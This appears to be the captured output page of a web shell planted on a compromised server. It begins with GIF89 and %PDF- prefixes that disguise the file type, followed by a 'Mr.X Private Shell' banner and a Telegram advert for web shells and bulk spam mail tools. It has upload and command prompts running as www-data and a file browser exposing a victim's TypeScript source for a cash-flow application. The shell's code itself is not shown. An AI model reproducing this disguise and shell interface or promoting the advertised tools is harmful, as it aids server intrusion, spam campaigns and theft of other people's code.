GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
import { $modelStore } from '@shared/index';
import { axiosInstance } from "@shared/api";

/**
 * Проверяет доступ пользователя к модели
 * @param modelId - ID модели для проверки
 * @returns Promise<boolean> - true если доступ есть, false если нет
 */
export const checkModelAccess = async (modelId: number): Promise<boolean> => {
  try {    
    // Пробуем получить данные модели
    const result = await axiosInstance.get(`cash-flow/${modelId}`, { 
      params: { activeTab: 'period' } 
    });
    
    
    // Если API возвращает число, это означает проблему с доступом
    if (typeof result.data === 'number') {
      console.warn('[DDS.checkModelAccess] API returned number, access denied:', result.data);
      return false;
    }
    
    // Если API возвращает объект, доступ есть
    if (typeof result.data === 'object' && result.data !== null) {
      return true;
    }
    
    console.warn('[DDS.checkModelAccess] Unexpected response format:', result.data);
    return false;
    
  } catch (error: any) {
    console.error('[DDS.checkModelAccess] Error checking access:', {
      message: error?.message,
      status: error?.response?.status,
      data: error?.response?.data
    });
    return false;
  }
};

/**
 * Получает список доступных моделей для пользователя
 * @returns Promise<number[]> - массив ID доступных моделей
 */
export const getAvailableModels = async (): Promise<number[]> => {
  try {
    
    // Получаем список всех моделей
    const result = await axiosInstance.get('models');
    
    if (!result?.data?.data) {
      console.warn('[DDS.getAvailableModels] No models data in response');
      return [];
    }
    
    const models = result.data.data;
    
    // Проверяем доступ к каждой модели
    const availableModels: number[] = [];
    
    for (const model of models) {
      const hasAccess = await checkModelAccess(model.id);
      if (hasAccess) {
        availableModels.push(model.id);
      }
    }
    
    return availableModels;
    
  } catch (error: any) {
    console.error('[DDS.getAvailableModels] Error getting available models:', {
      message: error?.message,
      status: error?.response?.status,
      data: error?.response?.data
    });
    return [];
  }
};

Filemanager

Name Type Size Permission Actions
checkModelAccess.ts File 2.47 KB 0644
exportToFile.ts File 783 B 0644
getArticlesGroupCash.ts File 4.24 KB 0644
getCash.tsx File 4.58 KB 0644
getDetailArticle.ts File 12.54 KB 0644
getKassaList.ts File 725 B 0644
getPaymentStatus.ts File 737 B 0644
putMoveRow.ts File 860 B 0644